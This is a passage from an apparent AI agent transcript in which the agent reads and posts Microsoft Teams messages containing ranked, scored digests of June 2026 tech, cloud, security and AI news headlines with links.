Dholakiya\",\n>   \"content\": \"Jenish Dholakiya said:## ChatReview Tech / IT / AI News \u2014 June 22, 2026 \u2014 Additional Run 4/10\\n\\nReviewed a 50\u2013100 article segment from a 662-item June 18\u201322 feed/RSS, Hacker\\nNews, official-source and technology-publication sweep. Excluded all\\npreviously posted ChatReview events plus earlier items in this 10-run batch.\\n\\n**Scores show: Industry; engineering-leader relevance; AI/ML; developer-\\ntool/cloud/workflow; security/privacy/infrastructure; major-company adoption;\\nnovelty. Each is 1\u20135.**\\n\\n  1. **[Quantum Computing Inc. Announces Framework Agreement with Planck Dynamics to Deploy NeuraWave Photonic Reservoir Computer As A Foundational Platform For Next-Generation AI Applications](https://news.google.com/rss/articles/CBMi2wJBVV95cUxQN1NKTjhCV3ppWXhwRFJIU0k1N2NRQnRFTXFQR21NbFV1UXRMZDZuWUtEQjdja2RpVmZwNWFka2JuVWxsUUlDaFRPSFNhU2F6alZndEF2YkNZMlM1cVVCcllKaUNmRVJneEE5VnMzaXFBU3VmbWI5SUhpUWlyQ0VlYl9GRjNrUXFFVFJPREFDcTdnR0t2S0gteXlHcmVnMng1Y01CUkxoZ1k2UHk1cEQ2ZDJmVjE1RGE2SWs0MTRINk9ZbXZIU01qWTNselpJaHYxcjluRnlQU19McU1NcDktX2dhLS1ydjZyTUkycFkyalYzb0pYR2dUYWh3Z1BSZ19SelpULWJ0ZzNhTUF1aEVPMUhCaXgtbFFNR21BTlJSeVhKNmhJbkh2N2RJY0VhQWlPbF9IclloekZlN1prZnRLb1BlVFJLT25ieGYwM1VrTERMU3Q0aWFuTzJrWQ?oc=5)** \u2014 **23/35** (2+2+4+5+1+4+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n  2. **[AI growth and a rethink of data centre power and cooling](https://news.google.com/rss/articles/CBMinwFBVV95cUxNSWRGREJTemZHYWJjSko2TllQNFhkdktJbU8yNnNUMFhMdV90NW92bnZuZGZvVXJ1QjdYLTJfOGp0X3d0aUZiZUZBN0FWTW5IaFlaaGxMUUpWcjlhYWJERFgxdnRTZG5HTksxcUxFN0FLQjhHTjltZmdjaWlzMzZrdnNCRmNLZGxtWXpZamZhSlA5QnBmYU5xUmdrSnBnRWM?oc=5)** \u2014 **22/35** (2+4+4+4+1+2+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n  3. **[AWS aims to take the pain out of RAG with Bedrock Managed Knowledge Base](https://news.google.com/rss/articles/CBMiuwFBVV95cUxOb0FkU2NfQlFsdTUwbVdlblBBLThGSzVlU2tqSVV5eDJmWWx5emVqRFdpcWI0YU1YcEZkY1RJTUJRY1pnN2JKX1VQWDJmOGlUY1dGQkJFNENKZVMyWEdpRXAtUldjSFZSaElmMmtnQXhjZm5nM1VXQlF3ams2LWtCbUZublA1YlhNXzJSUG1zajRNV3hOSU5yaXpEQXRXeHpLZHBGSmhlWFNQUlcxNFlrXzJ2VWhsZGlTcEtn?oc=5)** \u2014 **22/35** (2+4+1+4+1+5+5)  \\nDeveloper, cloud or infrastructure update that may affect coding, CI/CD,\\narchitecture, capacity, maintainability or operations.\\n\\n  4. **[Google Chrome Multiple Vulnerabilities](https://news.google.com/rss/articles/CBMikgFBVV95cUxNUFY4MkE1aG5MS09DSERpXzZCTG5TVmdocWVFalM1eWNpUnM4V2lpMThheHkzNEJheDFQWlRudWc1djNXWDRacGJmY1ROeEhwQXJNN2g2YUwyLTlpTGozTlgxWWNJWWxZdkdvWUNfN1VMREdOcFlqMENWU1V5Sy1nU0tVajZfYTFlVGhuU2diSC1CZw?oc=5)** \u2014 **22/35** (2+4+1+1+4+5+5)  \\nSecurity update with implications for patching, dependency trust, credentials,\\nprivacy, resilience or incident response.\\n\\n  5. **[IBM Nighthawk Processor Validated in Quantum Chromodynamics and Cybersecurity Benchmarks](https://news.google.com/rss/articles/CBMiwgFBVV95cUxPZmJVN2E3c1o4S211MDJTZDBfTzhZcXp0cE9rRGlDTmpRV1dEbW93OGx2WjYzSUNUUG90R185ZmhxY3RSZjZIdm93S3lVbTI1V29WZ2tHSjhrV3VPTE1FQWFlX0VvdEp0TUF6UEUzd1VfbGxVcFhPaWxxMVI5aU15RlRWQ1UwR01fcFgxZGx2WFBGZEVnWFZ5dEF6WFpDUEFrRG5tOUx5OG1aOXNDZzJBSURqdUFGZnFmVHloRGY1alpmd9IBxwFBVV95cUxPSVFENEhqa3VsTVNRNjJtOGZQMVQ5c09kemdtc1BULTlSRWNialN0Q2s3QVlLX2ZsQ01ZRTZ4bWhjcU15aFZobFl0UlFpc1AxZGFtUkw5YWhyZ2NkN1NXTXQyUW0zWFc2bHRSM01xMUZTWFA5RE56WDlzNmVzcHdpN0Y4emtYMEI0cG5xTnNxakpwMGdmanRzQk9LQ05PQklIU19MdGdCYXVSMmQ5Y2tQM0pmV2NRa3VsS045YlpmZWFwUDN4WlFZ?oc=5)** \u2014 **22/35** (2+4+1+1+4+5+5)  \\nSecurity update with implications for patching, dependency trust, credentials,\\nprivacy, resilience or incident response.\\n\\n  6. **[INNOSPACE and Norma Partner to Develop Space-Based Quantum Computing Infrastructure](https://news.google.com/rss/articles/CBMiuwFBVV95cUxQNmdGY0N5bU01b1FoUTFmVUVGOHAwOGdGb0ZvdTMtZGFOYndudFhuOWxTU1k5S0R3bHZkZnlSU3hMcno0Z1FlRnNnSGhfVWFWVXZCZzhWcXdGV0ZwY0gwWTdhUVljeS1RVlJEYTUtV1RMdWFadlE1MmRuVUhBRmhkUVE1cVRTcnU2djVtNnozUUg5bWZrbm5FbG5Qa1dVUlBoMjQ4UkEwRG1xclJLTmJhZndRT0VHOXd0VHVr0gHAAUFVX3lxTE50S0lWcHlkVDEwT0NqeHEwR3dGTFZoYkZZWWl0LVNjSFlrbURTYlhERm83QlJrOWszLUZpOU1od2FEYUdZeXZYajdYZjF6c05XdXBpRk13M2NRQzB1SV9MVVV5LXJCak81d2lmMUN5V1Z2ZlNjWlAzaWNNNjYwSU9xTWN5X2xCY19wcFg1Qlh1LTIxOXNfYnJqVjZpVEhNRk5rdXNPa3o5cWNDeHNJc0lBSFI3V0k2SGxsZnpVLTJTQg?oc=5)** \u2014 **22/35** (2+2+1+4+4+4+5)  \\nDeveloper, cloud or infrastructure update that may affect coding, CI/CD,\\narchitecture, capacity, maintainability or operations.\\n\\n  7. **[METRO finishes multi-cloud shift with Wipro and Google Cloud](https://news.google.com/rss/articles/CBMinAFBVV95cUxOdXBMdWNES2lQSG5BSVZoNlFWUWIxS1U4REFhNGdLOW85OXBpTVFYVGVIZnVOMnpTdmhLMl9PTG45dHgwVmVnSEVsb1pocXZLVnREcDJUZHVNWVR3VkJreDFsNjZnS25sWUU1V0NfY1VYakZlb2Z2cGphR2ZKU1ZyTnJGR09pMWozbEEtSzkxVXJtSmNBV1AxRkxJTlE?oc=5)** \u2014 **22/35** (2+4+1+4+1+5+5)  \\nDeveloper, cloud or infrastructure update that may affect coding, CI/CD,\\narchitecture, capacity, maintainability or operations.\\n\\n  8. **[Microsoft Edge Multiple Vulnerabilities](https://news.google.com/rss/articles/CBMikwFBVV95cUxPN1FwUWxnVXJweExMWC00Qnp3RHNsRmlfa3Q2Y0RGMDBkR3QybFdqY2hvMlJZNU9qajBCS2JDaWxGMWFIb3o5cTM2S1NlYVB2OFROWmh0VVhxQnE5YVlVMEx3aEdJWXE0T3FJTV9ReUNmTHpZT0QzS3hFUTVmMmY1WEt1dFBvVzA4SGQxQ2xyQ2ZpelU?oc=5)** \u2014 **22/35** (2+4+1+1+4+5+5)  \\nSecurity update with implications for patching, dependency trust, credentials,\\nprivacy, resilience or incident response.\\n\\n  9. **[OCI Kubernetes Engine (OKE) Adds Support for Compute Host Groups and Quick Recycle to Managed Nodes](https://news.google.com/rss/articles/CBMimAFBVV95cUxPa1o0ay1DRGk4QVRrU05CYkNrcEJKTFlWbEpwYS1CVi0xajd3YS04YWRJVnM4d1VxUzd2SkFJZkstSWh2MGlOZkctUEFwLTdXVm1fM210X2hRN3lmMnduRHhiNmExSFhyMDdObEJ4UE5CY2Fsa1NKaEJBekJ5Wjkza2xibFR6RXBWZngtamEzTzZPVWVMUHdxVg?oc=5)** \u2014 **22/35** (2+4+1+4+1+5+5)  \\nDeveloper, cloud or infrastructure update that may affect coding, CI/CD,\\narchitecture, capacity, maintainability or operations.\\n\\n  10. **[Stressors, AI Forcing Changes to Cybersecurity Teams](https://news.google.com/rss/articles/CBMimAFBVV95cUxPTWdFNE9DaXFtNVE5ZnVISXNGekQtYW1XZFNSdHNtbUpUbnFPSHVqQTMtX01Ca1ZXeUpzN3hhRklqSUwtTWtRamhXbnVFRWRNcmRtQ2FDWnA3Y0I0S1pEWHRmdFRqa2E5ZHFMRXlYRHNGODc1LUYxT2NQM2tVLTVzSVc3UTdzbVpUb3U4YWRmSXA0dV9QMHI2Sw?oc=5)** \u2014 **22/35** (2+4+4+1+4+2+5)  \\nSecurity update with implications for patching, dependency trust, credentials,\\nprivacy, resilience or incident response.\\n\\n_Ties are ordered by industry impact, then engineering-leader relevance._\\n\\n\",\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"team_id\": null,\n>   \"channel_id\": null,\n>   \"parent_message_id\": null,\n>   \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1782104226600?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"display_title\": \"Jenish Dholakiya\"\n> }\n> ```\n>\n> MCP tool call\n>\n> codex_apps.microsoft_teams.fetch\n>\n> ```json\n> {\n>   \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1782104226600\"\n> }\n> ```\n>\n> ```text\n> Action completed.\n> ```\n>\n> ```json\n> {\n>   \"content\": \"Jenish Dholakiya said:## ChatReview Tech / IT / AI News \u2014 June 22, 2026 \u2014 Additional Run 4/10\\n\\nReviewed a 50\u2013100 article segment from a 662-item June 18\u201322 feed/RSS, Hacker\\nNews, official-source and technology-publication sweep. Excluded all\\npreviously posted ChatReview events plus earlier items in this 10-run batch.\\n\\n**Scores show: Industry; engineering-leader relevance; AI/ML; developer-\\ntool/cloud/workflow; security/privacy/infrastructure; major-company adoption;\\nnovelty. Each is 1\u20135.**\\n\\n  1. **[Quantum Computing Inc. Announces Framework Agreement with Planck Dynamics to Deploy NeuraWave Photonic Reservoir Computer As A Foundational Platform For Next-Generation AI Applications](https://news.google.com/rss/articles/CBMi2wJBVV95cUxQN1NKTjhCV3ppWXhwRFJIU0k1N2NRQnRFTXFQR21NbFV1UXRMZDZuWUtEQjdja2RpVmZwNWFka2JuVWxsUUlDaFRPSFNhU2F6alZndEF2YkNZMlM1cVVCcllKaUNmRVJneEE5VnMzaXFBU3VmbWI5SUhpUWlyQ0VlYl9GRjNrUXFFVFJPREFDcTdnR0t2S0gteXlHcmVnMng1Y01CUkxoZ1k2UHk1cEQ2ZDJmVjE1RGE2SWs0MTRINk9ZbXZIU01qWTNselpJaHYxcjluRnlQU19McU1NcDktX2dhLS1ydjZyTUkycFkyalYzb0pYR2dUYWh3Z1BSZ19SelpULWJ0ZzNhTUF1aEVPMUhCaXgtbFFNR21BTlJSeVhKNmhJbkh2N2RJY0VhQWlPbF9IclloekZlN1prZnRLb1BlVFJLT25ieGYwM1VrTERMU3Q0aWFuTzJrWQ?oc=5)** \u2014 **23/35** (2+2+4+5+1+4+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n  2. **[AI growth and a rethink of data centre power and cooling](https://news.google.com/rss/articles/CBMinwFBVV95cUxNSWRGREJTemZHYWJjSko2TllQNFhkdktJbU8yNnNUMFhMdV90NW92bnZuZGZvVXJ1QjdYLTJfOGp0X3d0aUZiZUZBN0FWTW5IaFlaaGxMUUpWcjlhYWJERFgxdnRTZG5HTksxcUxFN0FLQjhHTjltZmdjaWlzMzZrdnNCRmNLZGxtWXpZamZhSlA5QnBmYU5xUmdrSnBnRWM?oc=5)** \u2014 **22/35** (2+4+4+4+1+2+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n  3. **[AWS aims to take the pain out of RAG with Bedrock Managed Knowledge Base](https://news.google.com/rss/articles/CBMiuwFBVV95cUxOb0FkU2NfQlFsdTUwbVdlblBBLThGSzVlU2tqSVV5eDJmWWx5emVqRFdpcWI0YU1YcEZkY1RJTUJRY1pnN2JKX1VQWDJmOGlUY1dGQkJFNENKZVMyWEdpRXAtUldjSFZSaElmMmtnQXhjZm5nM1VXQlF3ams2LWtCbUZublA1YlhNXzJSUG1zajRNV3hOSU5yaXpEQXRXeHpLZHBGSmhlWFNQUlcxNFlrXzJ2VWhsZGlTcEtn?oc=5)** \u2014 **22/35** (2+4+1+4+1+5+5)  \\nDeveloper, cloud or infrastructure update that may affect coding, CI/CD,\\narchitecture, capacity, maintainability or operations.\\n\\n  4. **[Google Chrome Multiple Vulnerabilities](https://news.google.com/rss/articles/CBMikgFBVV95cUxNUFY4MkE1aG5MS09DSERpXzZCTG5TVmdocWVFalM1eWNpUnM4V2lpMThheHkzNEJheDFQWlRudWc1djNXWDRacGJmY1ROeEhwQXJNN2g2YUwyLTlpTGozTlgxWWNJWWxZdkdvWUNfN1VMREdOcFlqMENWU1V5Sy1nU0tVajZfYTFlVGhuU2diSC1CZw?oc=5)** \u2014 **22/35** (2+4+1+1+4+5+5)  \\nSecurity update with implications for patching, dependency trust, credentials,\\nprivacy, resilience or incident response.\\n\\n  5. **[IBM Nighthawk Processor Validated in Quantum Chromodynamics and Cybersecurity Benchmarks](https://news.google.com/rss/articles/CBMiwgFBVV95cUxPZmJVN2E3c1o4S211MDJTZDBfTzhZcXp0cE9rRGlDTmpRV1dEbW93OGx2WjYzSUNUUG90R185ZmhxY3RSZjZIdm93S3lVbTI1V29WZ2tHSjhrV3VPTE1FQWFlX0VvdEp0TUF6UEUzd1VfbGxVcFhPaWxxMVI5aU15RlRWQ1UwR01fcFgxZGx2WFBGZEVnWFZ5dEF6WFpDUEFrRG5tOUx5OG1aOXNDZzJBSURqdUFGZnFmVHloRGY1alpmd9IBxwFBVV95cUxPSVFENEhqa3VsTVNRNjJtOGZQMVQ5c09kemdtc1BULTlSRWNialN0Q2s3QVlLX2ZsQ01ZRTZ4bWhjcU15aFZobFl0UlFpc1AxZGFtUkw5YWhyZ2NkN1NXTXQyUW0zWFc2bHRSM01xMUZTWFA5RE56WDlzNmVzcHdpN0Y4emtYMEI0cG5xTnNxakpwMGdmanRzQk9LQ05PQklIU19MdGdCYXVSMmQ5Y2tQM0pmV2NRa3VsS045YlpmZWFwUDN4WlFZ?oc=5)** \u2014 **22/35** (2+4+1+1+4+5+5)  \\nSecurity update with implications for patching, dependency trust, credentials,\\nprivacy, resilience or incident response.\\n\\n  6. **[INNOSPACE and Norma Partner to Develop Space-Based Quantum Computing Infrastructure](https://news.google.com/rss/articles/CBMiuwFBVV95cUxQNmdGY0N5bU01b1FoUTFmVUVGOHAwOGdGb0ZvdTMtZGFOYndudFhuOWxTU1k5S0R3bHZkZnlSU3hMcno0Z1FlRnNnSGhfVWFWVXZCZzhWcXdGV0ZwY0gwWTdhUVljeS1RVlJEYTUtV1RMdWFadlE1MmRuVUhBRmhkUVE1cVRTcnU2djVtNnozUUg5bWZrbm5FbG5Qa1dVUlBoMjQ4UkEwRG1xclJLTmJhZndRT0VHOXd0VHVr0gHAAUFVX3lxTE50S0lWcHlkVDEwT0NqeHEwR3dGTFZoYkZZWWl0LVNjSFlrbURTYlhERm83QlJrOWszLUZpOU1od2FEYUdZeXZYajdYZjF6c05XdXBpRk13M2NRQzB1SV9MVVV5LXJCak81d2lmMUN5V1Z2ZlNjWlAzaWNNNjYwSU9xTWN5X2xCY19wcFg1Qlh1LTIxOXNfYnJqVjZpVEhNRk5rdXNPa3o5cWNDeHNJc0lBSFI3V0k2SGxsZnpVLTJTQg?oc=5)** \u2014 **22/35** (2+2+1+4+4+4+5)  \\nDeveloper, cloud or infrastructure update that may affect coding, CI/CD,\\narchitecture, capacity, maintainability or operations.\\n\\n  7. **[METRO finishes multi-cloud shift with Wipro and Google Cloud](https://news.google.com/rss/articles/CBMinAFBVV95cUxOdXBMdWNES2lQSG5BSVZoNlFWUWIxS1U4REFhNGdLOW85OXBpTVFYVGVIZnVOMnpTdmhLMl9PTG45dHgwVmVnSEVsb1pocXZLVnREcDJUZHVNWVR3VkJreDFsNjZnS25sWUU1V0NfY1VYakZlb2Z2cGphR2ZKU1ZyTnJGR09pMWozbEEtSzkxVXJtSmNBV1AxRkxJTlE?oc=5)** \u2014 **22/35** (2+4+1+4+1+5+5)  \\nDeveloper, cloud or infrastructure update that may affect coding, CI/CD,\\narchitecture, capacity, maintainability or operations.\\n\\n  8. **[Microsoft Edge Multiple Vulnerabilities](https://news.google.com/rss/articles/CBMikwFBVV95cUxPN1FwUWxnVXJweExMWC00Qnp3RHNsRmlfa3Q2Y0RGMDBkR3QybFdqY2hvMlJZNU9qajBCS2JDaWxGMWFIb3o5cTM2S1NlYVB2OFROWmh0VVhxQnE5YVlVMEx3aEdJWXE0T3FJTV9ReUNmTHpZT0QzS3hFUTVmMmY1WEt1dFBvVzA4SGQxQ2xyQ2ZpelU?oc=5)** \u2014 **22/35** (2+4+1+1+4+5+5)  \\nSecurity update with implications for patching, dependency trust, credentials,\\nprivacy, resilience or incident response.\\n\\n  9. **[OCI Kubernetes Engine (OKE) Adds Support for Compute Host Groups and Quick Recycle to Managed Nodes](https://news.google.com/rss/articles/CBMimAFBVV95cUxPa1o0ay1DRGk4QVRrU05CYkNrcEJKTFlWbEpwYS1CVi0xajd3YS04YWRJVnM4d1VxUzd2SkFJZkstSWh2MGlOZkctUEFwLTdXVm1fM210X2hRN3lmMnduRHhiNmExSFhyMDdObEJ4UE5CY2Fsa1NKaEJBekJ5Wjkza2xibFR6RXBWZngtamEzTzZPVWVMUHdxVg?oc=5)** \u2014 **22/35** (2+4+1+4+1+5+5)  \\nDeveloper, cloud or infrastructure update that may affect coding, CI/CD,\\narchitecture, capacity, maintainability or operations.\\n\\n  10. **[Stressors, AI Forcing Changes to Cybersecurity Teams](https://news.google.com/rss/articles/CBMimAFBVV95cUxPTWdFNE9DaXFtNVE5ZnVISXNGekQtYW1XZFNSdHNtbUpUbnFPSHVqQTMtX01Ca1ZXeUpzN3hhRklqSUwtTWtRamhXbnVFRWRNcmRtQ2FDWnA3Y0I0S1pEWHRmdFRqa2E5ZHFMRXlYRHNGODc1LUYxT2NQM2tVLTVzSVc3UTdzbVpUb3U4YWRmSXA0dV9QMHI2Sw?oc=5)** \u2014 **22/35** (2+4+4+1+4+2+5)  \\nSecurity update with implications for patching, dependency trust, credentials,\\nprivacy, resilience or incident response.\\n\\n_Ties are ordered by industry impact, then engineering-leader relevance._\\n\\n\",\n>   \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1782104226600?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"title\": \"Jenish Dholakiya\",\n>   \"created_at\": \"2026-06-22T04:57:06.6Z\",\n>   \"author_name\": \"Jenish Dholakiya\",\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"team_id\": null,\n>   \"channel_id\": null,\n>   \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1782104226600?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"display_title\": \"Jenish Dholakiya\"\n> }\n> ```\n>\n> MCP tool call\n>\n> codex_apps.microsoft_teams.send_chat_message\n>\n> ```json\n> {\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"html_content\": \"\nChatReview Tech / IT / AI News \u2014 June 22, 2026 \u2014 Additional Run 5/10\nReviewed a 50\u2013100 article segment from a 662-item June 18\u201322 feed/RSS, Hacker News, official-source and technology-publication sweep. Excluded all previously posted ChatReview events plus earlier items in this 10-run batch.\nScores show: Industry; engineering-leader relevance; AI/ML; developer-tool/cloud/workflow; security/privacy/infrastructure; major-company adoption; novelty. Each is 1\u20135.\n\n\nTracing an AI Agent's Reasoning: Building Observability Into Your Pipeline \u2014 22/35 (2+2+5+5+1+2+5)AI/agent update with implications for model strategy, automation, governance, enterprise adoption or software-engineering workflows.\n\nWhen I reject AI code even if it works \u2014 22/35 (2+4+4+4+1+2+5)Developer, cloud or infrastructure update that may affect coding, CI/CD, architecture, capacity, maintainability or operations.\n\nAI leaders at G7 push for US-led global coalition as governments race for tech sovereignty \u2014 21/35 (4+2+4+1+1+4+5)Policy or governance update that could influence AI access, enterprise risk, technical standards or regional infrastructure decisions.\n\nAI Regulation Should Be Rational, Not Retaliatory \u2014 21/35 (3+2+5+1+1+4+5)Policy or governance update that could influence AI access, enterprise risk, technical standards or regional infrastructure decisions.\n\nAmazon investigating engineers who criticized AI data center expansion \u2014 21/35 (3+2+4+1+1+5+5)Developer, cloud or infrastructure update that may affect coding, CI/CD, architecture, capacity, maintainability or operations.\n\nMeta signs new AI computing deals with data center firm Crusoe, Bloomberg News reports \u2014 21/35 (3+2+4+1+1+5+5)Developer, cloud or infrastructure update that may affect coding, CI/CD, architecture, capacity, maintainability or operations.\n\nNvidia breaks into healthcare industry, announces new AI model in partnership with Abridge \u2014 21/35 (3+2+4+1+1+5+5)AI/agent update with implications for model strategy, automation, governance, enterprise adoption or software-engineering workflows.\n\nThis tiny AMD PC just ran a massive 397B AI Model that required a server room full of GPUs a year ago \u2014 21/35 (3+2+4+1+1+5+5)AI/agent update with implications for model strategy, automation, governance, enterprise adoption or software-engineering workflows.\n\nUnpatchable 'usbliter8' Exploit Breaks Apple A12 and A13 SecureROM Boot Chain \u2014 21/35 (3+2+1+1+4+5+5)Security update with implications for patching, dependency trust, credentials, privacy, resilience or incident response.\n\n4 paths to Frontier Transformation: From AI experimentation to real business value \u2014 21/35 (2+2+5+1+1+5+5)AI/agent update with implications for model strategy, automation, governance, enterprise adoption or software-engineering workflows.\nTies are ordered by industry impact, then engineering-leader relevance.\"\n> }\n> ```\n>\n> ```text\n> Action completed.\n> ```\n>\n> ```json\n> {\n>   \"message_id\": \"1782104228237\",\n>   \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1782104228237\",\n>   \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1782104228237?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"title\": \"Jenish Dholakiya\",\n>   \"created_at\": \"2026-06-22T04:57:08.237Z\",\n>   \"author_name\": \"Jenish Dholakiya\",\n>   \"content\": \"Jenish Dholakiya said:## ChatReview Tech / IT / AI News \u2014 June 22, 2026 \u2014 Additional Run 5/10\\n\\nReviewed a 50\u2013100 article segment from a 662-item June 18\u201322 feed/RSS, Hacker\\nNews, official-source and technology-publication sweep. Excluded all\\npreviously posted ChatReview events plus earlier items in this 10-run batch.\\n\\n**Scores show: Industry; engineering-leader relevance; AI/ML; developer-\\ntool/cloud/workflow; security/privacy/infrastructure; major-company adoption;\\nnovelty. Each is 1\u20135.**\\n\\n  1. **[Tracing an AI Agent's Reasoning: Building Observability Into Your Pipeline](https://news.google.com/rss/articles/CBMimwFBVV95cUxPWkRNYWgxcXc5SFJNUWRMSThWSjJreTRCV1JQMGRuR0FvcHREX0NKcEdkalhtUWFGVUVlWVdlTGY3YzhxeWhNOEVsZ012bXl6MHFwUjhBNF9YSTRwb2laQWdKdHZ5YzgyY05ZTlVDcVRUSVNEQnRuMEd2bmUzYUk3cGttdUlDS3NYSlZLVHJxbFh6LWtyU3QxbzVxaw?oc=5)** \u2014 **22/35** (2+2+5+5+1+2+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n  2. **[When I reject AI code even if it works](https://vinibrasil.com/when-i-reject-ai-code-even-if-it-works/)** \u2014 **22/35** (2+4+4+4+1+2+5)  \\nDeveloper, cloud or infrastructure update that may affect coding, CI/CD,\\narchitecture, capacity, maintainability or operations.\\n\\n  3. **[AI leaders at G7 push for US-led global coalition as governments race for tech sovereignty](https://news.google.com/rss/articles/CBMi1AFBVV95cUxNLUJnSTUwemY2MDVKQXZoWGJnZjF4SEJCZHpwWlVPNFNYNVhybzA1TkI5TV9rLVM2WW9IVFg0V2h2d3B0MUo4dVFRSHdycUhmcnUyV2FkdUtrR3dmMUR2VUw5U0kxN3FyVVNZVXJERVFkNzZFQjd5TG5neU9FNF9MZ0pfRzlOZllZSkJja0NJVTBkYVo4RnNsa1pYbUtVQkRBYkdIVGl1S1RQT0JGdmRYUV9SUy1nXzcycl8ydXZmY3RvMmtXZ3JTQnQ0Y0lFdHpjTXJPV9IB2gFBVV95cUxOT00zM3ZacWF6MU0yRUdDNVgtRjNjc3NEREZaWVRwMkUxZHJyTUF4alR0dzlrN2hnOFRSMkk3SHA4X0FSZEFXMzdOa0VYOW5UR2pNZ3kxYnI2TVhSTURjVV95XzR1Sk9MbkVEQ2hLUnRXMW9DTTNXSXNSaUZubkxucm9oT0dSU1pQWllSVmxiNmk4MDNsUDJRRkk1d2NjQWx5VlVKczJEMmxvY3VIMjhtbkdJNFdzMFBnejUzQnN4SEY5YTlhb0ZycW41dUcxV3BSVk56dkF6NzBFdw?oc=5)** \u2014 **21/35** (4+2+4+1+1+4+5)  \\nPolicy or governance update that could influence AI access, enterprise risk,\\ntechnical standards or regional infrastructure decisions.\\n\\n  4. **[AI Regulation Should Be Rational, Not Retaliatory](https://news.google.com/rss/articles/CBMijwFBVV95cUxOeXZadEhFbDJwYW9reW9aLU9QNjZwV09pSkEyLUpZM1Y5UW41Mm55TlJvN2NuREk4cVVCeC1nMDcxSTFmc2xIT1hMZnhab3NHUE9kU3pmS0tJMkl6V1JTR2trdF9sRnpjWlR1Zy1oUjhQTmh1eWhuQ0twczRlNGx0UE1zcEQ3N0FJZEFjQ3ZYTQ?oc=5)** \u2014 **21/35** (3+2+5+1+1+4+5)  \\nPolicy or governance update that could influence AI access, enterprise risk,\\ntechnical standards or regional infrastructure decisions.\\n\\n  5. **[Amazon investigating engineers who criticized AI data center expansion](https://news.google.com/rss/articles/CBMihgFBVV95cUxPN3BCZGNwWWowRVJKSUd5R2p1aWlqQU5sOV92bkIwTmJKZ2VyMmVxMFJkdHdDQWVxSnRxbVlBLXNfeW9JQVNnbEI3SEd6bjNUcTNYdDdUSlFPbVBLTll4SVFZcm5zN2NEWTE2cEhLcm9PVS1zaXNsZy1LMEdud3VFeG9Fd1pfUdIBiwFBVV95cUxPN0dUQUhRVWhaTHNaeGNRckNiRGtOM3QxakZ6WjFlSE5nQV9wejdfVTJfWkNkbXAzUW54b0twNXREUEhIYVVEMXdHZ2hGaU1EczZJdTVvbnZWYXliM3U0ZmNGYmpXeGpEOW1aSXJWRU5oNnFnOGN0OFhtX1Y5ZTdfN2JaaXlZXzBXcFBr?oc=5)** \u2014 **21/35** (3+2+4+1+1+5+5)  \\nDeveloper, cloud or infrastructure update that may affect coding, CI/CD,\\narchitecture, capacity, maintainability or operations.\\n\\n  6. **[Meta signs new AI computing deals with data center firm Crusoe, Bloomberg News reports](https://news.google.com/rss/articles/CBMivwFBVV95cUxNY2hGMmJVYWZybndVbUpRZWtXdzlOdlpWQmZWTjd1Z1RIT3JLZEc5aFJSLXNjR0xVeXlybzFrTGpDclZOV043cEtkR1RaOGtDYzhrNWVaQmdTeFctUmtsV2NDcnBNNDZiLVJITHF2RDg0V0RTQlc4dGIxMEJrdUlUb0Ztd0RVeF9NWXJyVEZmMy05UkF5QVpzTTBqbVJKSVIwaXNFbnpsMGNtS3FzdVRnWEFnYWVlQjZpR1Vrc1pEZw?oc=5)** \u2014 **21/35** (3+2+4+1+1+5+5)  \\nDeveloper, cloud or infrastructure update that may affect coding, CI/CD,\\narchitecture, capacity, maintainability or operations.\\n\\n  7. **[Nvidia breaks into healthcare industry, announces new AI model in partnership with Abridge](https://news.google.com/rss/articles/CBMilAJBVV95cUxNcTBoRE16RC1WcE0tNUZqMUZWQ2lQLWh3YW1jTHpvMXVTOFhmOTlVRkc0ZVlYTjNzb1NnZ0RDRk9RaEt4dS1FdFd3MFR1MFEyM0MtbGc5a3lWLXBLb2g3Z3B5b1ZCdkZRQ09jSnpJTU5ZNDMwODEyQlNzNks3cEk5RXVBbU5EekEzMFFjcjJKSHR3X3kzcGZkM0hER0ZtdVhWWDdDaERMcDZRREFBTnBaX3FLd1BQTGR1dklNckxWd3dlX0Y0Qmtxa0htU0d5NFlvT0liOXg3Mnd6M09oaXo3SWtESGt5ZTVfSVFWb1pzSk9MV05qQ0NPZHZMdzVmTUFka2V4aVkzSEZBcUJKNWJUZ0pMVnA?oc=5)** \u2014 **21/35** (3+2+4+1+1+5+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n  8. **[This tiny AMD PC just ran a massive 397B AI Model that required a server room full of GPUs a year ago](https://news.google.com/rss/articles/CBMiywFBVV95cUxNbzJsaENrVWl1Z3pROFJHNUFhRmRsTFd6RkNsbUNEaW5id2ZGNHV1c04xZV9oYnJ2aHZxcXVSSWljLVJTWkM4ZWtyV1c1Ukl3d2F1MXQ2cW1IMUxoYXlvTVVLbWhLNGxYdnhnSnAzckEyZnJZMFkySzBSaXk3b3FTTnFIOW9JWEs4VllDNUVQbzVSekE1UVVLSWswQnFuSWVrUDAxWks1UXZZZklWUW5DQkNXWTJWMnctZmZUWlAxQVFqY1FyRG1tMGZfOA?oc=5)** \u2014 